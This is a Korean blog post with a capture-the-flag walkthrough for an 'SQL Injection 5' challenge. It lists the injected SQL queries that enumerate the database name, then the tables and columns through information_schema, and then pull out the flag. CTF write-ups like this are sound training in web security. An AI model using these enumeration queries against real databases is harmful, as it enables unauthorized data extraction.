| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 로그인페이지
- 웹 해킹
- ISMS-P
- 세션
- blind sql injection
- 게시판 만들기
- 보안 패치
- php
- cookie 탈취
- union sql injection
- file upload
- sql injection point
- FridaLab
- CTF
- Error based sql injection
- 문제 풀이
- 웹 개발
- Los
- csrf
- lord of sql injection
- XSS
- 모의해킹
- 보고서
- 웹개발
- ISMS
- 뇌피셜
- sql injection
- MySQL
- JS
- 증적 사진
Archives
- Today
- Total
Backouts_ Logbook
ctf 풀이 (SQL Injection 5) 본문
ctf 문제 풀이
SQL Injection 5


풀이
SQL Injection 5역시 4번과 php 로직은 같은것으로 보입니다.
sql injection3에서 만들었던 python을 이용해서 풀어보겠습니다.

1> DB명 추출
select database()
=> DB 명 : sqli_2_2

2> Table명 추출
select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1
=> Table 명 : flagTable_this, member

3> Column명 추출
select column_name from information_schema.columns where table_schema='sqli_2_2' and table_name='flagTable_this' limit 0,1
=> flagTable_this Column 명 : idx, flag

4> 데이터 추출
select flag from flagTable_this limit 0,1
문제의 인내심을 가져라 라는게 하나하나 해보라는 뜻 같습니다.

idx와 group_concat을 이용해서 문자열이 잘리지 않을정도로만 출력하면서 확인하는 방법도 있습니다.


'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글
| ctf 풀이 (SQL Injection Point 1) (2) | 2024.12.10 |
|---|---|
| ctf 풀이 (SQL Injection 6) (1) | 2024.12.02 |
| ctf 풀이 (SQL Injection 4) (1) | 2024.11.30 |
| ctf 풀이 (SQL Injection 3) (3) | 2024.11.29 |
| ctf 풀이 ( SQL Injection 2 ) (2) | 2024.11.24 |